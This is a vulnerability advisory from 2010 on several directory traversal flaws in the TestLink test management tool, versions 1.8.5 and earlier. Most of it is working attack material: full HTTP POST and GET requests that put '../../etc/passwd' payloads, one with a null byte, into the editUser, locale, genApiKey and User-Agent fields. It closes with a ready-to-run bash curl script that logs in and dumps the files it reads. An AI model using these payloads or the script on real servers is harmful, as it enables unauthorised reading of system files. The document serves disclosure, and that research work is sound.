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1.Title :Multiple directory Traversal Vulnerabilites in Testlink TestManagement and Execution System. Discovered by: Prashant Khandelwal (clickprashant@gmail.com<mailto:clickprashant@gmail.com>) Submitted :Jan-15-2010 Bugtraq id : https://www.securityfocus.com/bid/37824 Secunia : http://secunia.com/advisories/38201/ 2.Vulnerability Information Class: Directory Traversal Remotely Exploitable: Yes Locally Exploitable: No 3.Vulnerable packages. Versions affected :All versions <= Testlink 1.8.5 Download : http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc 4.Vulnerability Description Multiple directory traversal vulnerabilities has been found in Testlink(http://www.teamst.org/) a popular and acclaimed free, open source Test management tool written in PHP. The issue discovered can only be exploited with an authenticated session.This directory traversal vulnerability is present in the file /testlink/lib/usermanagement/ userInfo.php& In testlink 1.8.4 these issues can be exploited by setting the variable "editUser"& "locale" like below with a HTTP POST request Example HTTP header for 1.8.5 ----------------------------------------------------------------------------------------------------------------------------------- a)Directory Traversal :The POST variable editUser has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=cs_CZ&editUser=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwdResponse ----------------------------------------------------------------------------------------------------------------------------------- b)Directory Traversal :The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=../../../../../../../../etc/passwd%00.html&editUser=GuardarResponse In testlink 1.8.4 these issues can be exploited by setting the variable "genApiKey"& "locale" like below with a HTTP POST request. Exploit for 1.8.4 ----------------------------------------------------------------------------------------------------------- a)Directory traverasa : The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html. ----------------------------------------------------------------------------------------------------------- Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email@address.tst&locale=../../../../../../../../etc/passwd%00.html&editUser=SaveResponse ----------------------------------------------------------------------------------------------------------------------------------- b)Directory Traversal : The POST variable genApiKey has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd ------------------------------------------------------------------------------------------------------------------------------------ Request POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0 id=1&genApiKey=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd One of the issues in Testlink 1.8.4 can be exploited by directory traversing with the HTTP User-Agent header like below. ----------------------------------------------------------------------------------------------------------------------------------- c)Directory Traversal :The HTTP header user-agent has been set to ../../../../../../../../etc/passwd .htm. ------------------------------------------------------------------------------------------------------------------------------------ Request GET /testlink/lib/usermanagement/userInfo.php HTTP/1.0 Accept: */* User-Agent: ../../../../../../../../etc/passwd .htm Host: 10.209.84.1 Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381 Connection: Close Pragma: no-cacheResponse 5.Proof of Concept The below POC has been tested with testlink 1.8.5 =============================================================================================================================================================== #!/usr/bin/env bash # Prashant Khandelwal [clickprashant@gmail.com<mailto:clickprashant@gmail.com>] # Remote Directory Traversal in Testlink the Test Management Tool # Vendor : Testlink http://www.teamst.org<http://www.teamst.org/> # Affected Version : <=1.8.5(http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc) # Vulnerability Discovered: 5-Jan-2010 # This POC is for Educational purpose if [ $# -ne 4 ] then echo "Usage - ./$0User passwordTestlink_root_dir_URIDirectory_traversal_string" echo "Example - ./$0admin admin http://Testlink-Server/testlink<http://testlink-server/testlink> ../../../../../../../../etc/passwd%00.html" exit 1 fi rm -rf cookies output.txt curl -d "tl_login=$1&tl_password=$2" $3/login.php -c cookies curl -d "id=1&firstName=Directorytraversal&lastName=Exploit&emailAddress=111-222-1933email%40address%2Etst&locale=$4&editUser=admin" $3/lib/usermanagement/userInfo.php -b cookies -v | more >output.txt head -n 80output.txt =============================================================================================================================================================== |
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